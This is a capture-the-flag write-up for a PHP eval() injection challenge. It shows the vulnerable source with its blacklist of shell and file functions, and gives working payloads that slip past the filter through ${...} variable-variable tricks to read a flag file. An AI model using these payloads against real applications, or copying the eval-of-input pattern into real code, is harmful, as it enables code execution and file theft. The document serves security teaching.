Impasse
This is a PHP eval() injection challenge.
When submitting the form, the input is wrapped around an echo statement and added to the print GET parameter:
1
?print=echo+'<YOUR DATA>'+;
Copied!
The first thing we tried was to modify the GET parameter to test for arbitrary code execution:
1
print=echo+'';phpinfo()
Copied!
By checking the debug option, we are presented with the page's source code. The following code implements the input blacklist and the eval() vulnerability:
1
<?php
2
error_reporting(0);
3
if (isset($_GET['print'])) {
4
if (!empty($_GET['print'])){
5
$printValue= strtolower($_GET['print']);
6
$blocked = array("cat", "more" ,"readfile", "fopen", "file_get_contents", "file", "SplFileObject" );
7
$special_block= "nc";
8
$special_block= "../flag.txt";
9
foreach ($blocked as $value) {
10
if (strpos($printValue, $value) || preg_match('/\bsystem|\bexec|\bbin2hex|\bassert|\bpassthru|\bshell_exec|\bescapeshellcmd| \bescapeshellarg|\bpcntl_exec|\busort|\bpopen|\bflag\.txt|\bspecial_block|\brequire|\bscandir|\binclude|\bhex2bin|\$[a-zA-Z]|[#!%^&*_+=\-,\.:`|<>?~\\\\]/i', $printValue)) {
11
$printValue="";
12
echo "<script>alert('Bad character/word ditected!');</script>";
13
break;
14
}
15
}
16
eval($printValue . ";");
17
}
18
}
19
?>
Copied!
Many useful functions have been blocked! But note that the eval() statement is called after the $blocked, $special_block and $special_block variables are defined. This allows us to reference these variables in our eval-ed code.
Note that $ has a special meaning in PHP: https://stackoverflow.com/questions/4169882/what-is-in-php​
1
$foo = 'hello';
2
$hello = 'The Output';
3
echo $foo; // displays "The Output"
Copied!
What happens here is that the value of $foo is used as a variable name, and so $foo becomes $hello (think of it as replacing $foo in $foo).
1
$special_block= "nc";
2
$special_block= "../flag.txt";
Copied!
Here, the value of $special_block is used as a variable name. The second line defines a new variable, $nc, which has the value of "../flag.txt".
Our final payload is
1
?print=echo+'';print(eval('return ${blocked}[4](${nc});'))
Copied!
which leads to the following code being eval-ed:
1
print(eval('return file_get_contents("../flag.txt");')
Copied!
Note that $[a-zA-Z] is blocked in the regex, so we must use ${...} instead (which achieves the same purpose). Also, eval() executes file_get_contents("../flag.txt") but doesn't display anything to us yet. By returning and printing the output, we retrieve the flag.
Copy link